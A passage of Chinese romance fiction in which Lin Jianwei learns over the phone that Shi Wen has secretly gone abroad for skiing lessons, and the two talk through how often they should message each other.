时闻比她还震惊:“你给我发消息了?我看看,哎呀还真的,对不起,我刚刚没注意手机消息,我,我在爬楼梯锻炼呢。” 林见微:“?怎么突然这么发愤图强?” 时闻笑道:“这不是又有工作了,下周还要直播,所以锻炼健身一下。” 这时,听筒里面传来呼呼响声,好像是风声。 林见微:“……” 这次没待她提问,时闻主动解释说:“今天小区风挺大的,我这不是想换着楼栋爬,增加运动量和新鲜感……” 背景里风声愈来愈大,林见微十分确定,这风要是刮在时闻住的锦鑫花园里,能把整个小区都掀翻。 而且这个时候,后面又传来几声遥远的叫喊,说的好像还是英文。 林见微实在忍不了了:“你究竟在哪里,究竟在干什么?” 时闻也知道瞒不住,只好招供:“其实我,我在国外,在一座山上。” 林见微:“哈??” 时闻有点不好意思:“实不相瞒,我偷偷找了个滑雪教练,今天来上第一节课。你不是说喜欢滑雪吗,其实我不太会滑,所以想在冬天到来之前精进一下技术。” 林见微:“!!” 时闻:“对不起啊,我不是有意要瞒你的,我两天后就回去了。” 林见微:“……但是你为什么这两天没怎么跟我发消息?飞机场和飞机上又不是不能连WiFi。” 时闻:“因为……你不是说,不要太经常给女孩子发消息,不然显得轻浮,不稳重。” 林见微:“???我什么时候说过这个?……哦对我是说过,对谷煜说的。” 时闻:“所以我害怕打扰到你,而且你一直醉心于工作,可能也不需要我太经常联系你。” 林见微沉默了好一阵,首先,她确实没想到,谷煜和时闻这两个难兄难弟竟然会互相抄作业。 其次,她是不是双标了呢,她确实总把工作放在第一位,可以连续好久不看手机,自然也不会经常查看回复消息。 所以既然她经常把时闻晾在一边,为什么不允许他这么做呢? 时闻见她半天没说话,还以为她生气了,赶忙说:“对不起啊,下次我不会这样了,出远门之前一定会跟你讲,也会经常给你发消息。” 林见微:“没事的,我就是担心你出什么事,我也会尽量经常地看看手机,避免错过你的消息。” 时闻:“不不,你好好训练,闲的时候给我回个信就行。” 两个人又聊了好一会儿,林见微把最近发生的事事无巨细地告诉了时闻,时闻也把直播前和后发生的事情都告诉了她。 两个人聊得热火朝天,直到听筒里面传来一声呼叫,好像是有人叫时闻回去。 时闻只得恋恋不舍地说:“教练骂我呢,说我怎么练了一会儿就歇菜了。” 林见微哈哈笑道:“赶紧回去吧!滑雪注意安全哦,回宾馆之后跟我说一声。” 时闻:“嗯嗯,你也是,训练的时候别伤了身体,晚上出结果了告诉我。” 挂断电话,林见微兀自出神地笑了许久。 正午的太阳透过窗户照了进来,将她半边脸烤得暖暖的,但时闻的声音比这太阳还要暖,让她由内而外说不出来的舒服。 林见微在原地发呆了一阵,直到一个人在她旁边幽幽说道:“和男朋友打完电话了?” 林见微吓得差点没把手机摔地上。 抬头一看,只见杜之江满脸姨母笑地盯着她。